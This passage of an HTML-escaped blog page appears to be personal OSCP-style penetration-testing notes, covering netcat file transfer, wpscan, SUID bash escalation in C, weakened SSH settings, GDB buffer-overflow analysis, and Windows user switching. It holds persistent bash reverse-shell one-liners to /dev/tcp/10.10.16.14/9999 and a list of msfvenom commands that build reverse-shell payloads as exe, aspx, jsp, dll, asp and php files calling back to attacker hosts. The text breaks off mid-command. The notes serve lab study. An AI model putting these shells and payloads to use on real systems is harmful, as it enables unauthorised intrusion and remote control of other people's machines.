aa.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;code&gt;plain Run this on the receiving end: (6666 can be any available port) nc -lvp 6666 &amp;gt; fileName Run this on the sending end: nc target_ip 6666 &amp;lt; fileName &lt;/code&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3 id="43wpscan"&gt;&lt;a href="#43wpscan" class="header-anchor"&gt;&lt;/a&gt;43.wpscan&#10;&lt;/h3&gt;&lt;p&gt;wpscan &amp;ndash;url &lt;a class="link" href="http://10.10.10.88:80/webservices/wp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88:80/webservices/wp&lt;/a&gt; -e ap &amp;ndash;plugins-detection aggressive -t 50 # thoroughly enumerate plugins&lt;/p&gt;&#10;&lt;h3 id="44sudo"&gt;&lt;a href="#44sudo" class="header-anchor"&gt;&lt;/a&gt;44.sudo&#10;&lt;/h3&gt;&lt;p&gt;sudo -u lets you specify a user and run an application that user is allowed to elevate with sudo.&lt;/p&gt;&#10;&lt;h3 id="45locate"&gt;&lt;a href="#45locate" class="header-anchor"&gt;&lt;/a&gt;45.locate&#10;&lt;/h3&gt;&lt;p&gt;locate backuper&lt;/p&gt;&#10;&lt;p&gt;Similar to find, but more convenient.&lt;/p&gt;&#10;&lt;h3 id="46bash"&gt;&lt;a href="#46bash" class="header-anchor"&gt;&lt;/a&gt;46.bash&#10;&lt;/h3&gt;&lt;p&gt;/bin/bash bash -p&#9;# spawns a new shell with the current privileges; this can be useful in scripts, for example with SUID&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;unistd.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;void main() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execl(&amp;#34;/bin/bash&amp;#34;, &amp;#34;bash&amp;#34;, &amp;#34;-p&amp;#34;, NULL);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="47gcc"&gt;&lt;a href="#47gcc" class="header-anchor"&gt;&lt;/a&gt;47.gcc&#10;&lt;/h3&gt;&lt;p&gt;For version compatibility issues, use static linking. Some hosts are 32-bit, so add m32.&lt;/p&gt;&#10;&lt;p&gt;gcc -static -m32 -o 1 1.c&lt;/p&gt;&#10;&lt;h3 id="48irc"&gt;&lt;a href="#48irc" class="header-anchor"&gt;&lt;/a&gt;48.irc&#10;&lt;/h3&gt;&lt;p&gt;IRC is chat software. Just launch it with HexChat; the rest of the setup is fairly straightforward.&lt;/p&gt;&#10;&lt;h3 id="49ssh-configuration-file"&gt;&lt;a href="#49ssh-configuration-file" class="header-anchor"&gt;&lt;/a&gt;49.SSH Configuration File&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/qq_41765918/article/details/126837789" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/qq_41765918/article/details/126837789&lt;/a&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Public Key Filename&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;On the machine you want to trust, the public key file is named authorized_keys. If there are multiple machines, put each key on its own line. The filename is determined by the AuthorizedKeysFile parameter in /etc/ssh/sshd_config; the default is authorized_keys.&lt;/p&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;Public Key Path&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Open /etc/ssh/sshd_config and find the AuthorizedKeysFile .ssh/authorized_keys setting, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If the setting is uncommented, place the authorized_keys file in the configured directory. If it is still commented out, the file goes under ~/.ssh/.&lt;/p&gt;&#10;&lt;ol start="3"&gt;&#10;&lt;li&gt;Permissions&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Directory structure: ~/.ssh/authorized_keys&lt;/p&gt;&#10;&lt;p&gt;Set the authorized_keys file permissions to 600, the .ssh directory permissions to 700, and the home directory permissions to 755.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#Disable root login; enable this if logging in as root&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PermitRootLogin yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Whether sshd checks permissions on the user&amp;#39;s home directory and related files.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This prevents problems caused by incorrect permissions on important files.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For example, incorrect permissions on ~/.ssh/ may prevent login in some cases.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;StrictModes no&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Whether users may log in with key pairs; applies only to version 2.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# User public keys are stored in .ssh/authorized_keys under the home directory.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RSAAuthentication yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PubkeyAuthentication yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AuthorizedKeysFile .ssh/authorized_keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Disable password login once key-based login is configured.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PasswordAuthentication no&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="50multiple-shells"&gt;&lt;a href="#50multiple-shells" class="header-anchor"&gt;&lt;/a&gt;50.Multiple Shells&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setsid bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.14/9999 &amp;lt;&amp;amp;1&amp;#39; &amp;gt; output.log 2&amp;gt;&amp;amp;1 &amp;amp;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nohup setsid bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.14/9999 &amp;lt;&amp;amp;1&amp;#39; &amp;gt; output.log 2&amp;gt;&amp;amp;1 &amp;amp;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="51buffer-overflow-brief-notes"&gt;&lt;a href="#51buffer-overflow-brief-notes" class="header-anchor"&gt;&lt;/a&gt;51.Buffer Overflow (Brief Notes)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;info registers&#9;&#9;#Crash information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;disassemble&#9;&#9;&#9;&#9;#Add an argument, such as disassemble main, to view the function&amp;#39;s assembly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldd&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;#Find dynamic libraries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldd rop | grep libc&#9;&#9;#rop is the target program&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;readelf&#9;&#9;&#9;&#9;&#9;&#9;#Find function offsets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;#34; system&amp;#34;&#9;&#9;#Find the system function offset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;#34;/bin/sh&amp;#34;&#9;&#9;#Find the /bin/sh string address&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;break *0x80484f8&#9;#Set a breakpoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;x/20x $esp&#9;&#9;&#9;&#9;#View stack data&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Dump of assembler code for function vuln:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484f8 &amp;lt;+0&amp;gt;: push %ebp&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;#Push the caller&amp;#39;s frame base onto the stack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484f9 &amp;lt;+1&amp;gt;: mov %esp,%ebp&#9;&#9;&#9;&#9;&#9;&#9;#Set ebp to the current stack top&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484fb &amp;lt;+3&amp;gt;: sub $0x38,%esp&#9;&#9;&#9;&#9;&#9;&#9;#Subtract 56 bytes from the stack pointer to allocate space&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x080484fe &amp;lt;+6&amp;gt;: sub $0x8,%esp&#9;&#9;&#9;&#9;&#9;&#9;#Subtract 8 bytes from the stack pointer to allocate space&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048501 &amp;lt;+9&amp;gt;: push 0x8(%ebp)&#9;&#9;&#9;&#9;&#9;&#9;#Push the 8-byte argument onto the stack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048504 &amp;lt;+12&amp;gt;: lea -0x30(%ebp),%eax&#9;&#9;&#9;#Subtract 48 bytes from ebp and store the address in eax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048507 &amp;lt;+15&amp;gt;: push %eax&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;#Push eax onto the stack&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048508 &amp;lt;+16&amp;gt;: call 0x8048350 &amp;lt;strcpy@plt&amp;gt;&#9;#Call strcpy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804850d &amp;lt;+21&amp;gt;: add $0x10,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048510 &amp;lt;+24&amp;gt;: sub $0xc,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048513 &amp;lt;+27&amp;gt;: push $0x80485dd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048518 &amp;lt;+32&amp;gt;: call 0x8048340 &amp;lt;printf@plt&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804851d &amp;lt;+37&amp;gt;: add $0x10,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048520 &amp;lt;+40&amp;gt;: sub $0xc,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048523 &amp;lt;+43&amp;gt;: lea -0x30(%ebp),%eax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048526 &amp;lt;+46&amp;gt;: push %eax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048527 &amp;lt;+47&amp;gt;: call 0x8048340 &amp;lt;printf@plt&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804852c &amp;lt;+52&amp;gt;: add $0x10,%esp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x0804852f &amp;lt;+55&amp;gt;: nop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048530 &amp;lt;+56&amp;gt;: leave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x08048531 &amp;lt;+57&amp;gt;: ret&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="52windows-switch-users"&gt;&lt;a href="#52windows-switch-users" class="header-anchor"&gt;&lt;/a&gt;52.Windows: Switch Users&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:administrator cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -u app -p password powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$username = &amp;#34;app&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$password = ConvertTo-SecureString &amp;#34;password&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential($username, $password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 1: Invoke-Command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock { COMMAND_TO_EXECUTE } -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 2: Start-Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell -Credential $cred -ArgumentList &amp;#34;COMMAND_TO_EXECUTE&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="53msfvenom"&gt;&lt;a href="#53msfvenom" class="header-anchor"&gt;&lt;/a&gt;53.msfvenom&#10;&lt;/h3&gt;&lt;p&gt;On Windows, getting a reverse shell seems a bit more troublesome. Unlike Linux, it is not nearly as convenient to bounce a shell back.&lt;/p&gt;&#10;&lt;p&gt;That is when all kinds of msfvenom reverse-shell payloads come in handy, so I am keeping a record of them here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;For non-MSF reverse-shell scripts, use an nc listener&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x&amp;gt; ./back.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw &amp;gt; shell.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x&amp;gt; ./back.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;php&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw &amp;gt; shell.php&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use payloads as the -l argument to list all payloads&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use --platform to specify the payload platform and --arch to specify the architecture&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -l payloads --platform windows --arch 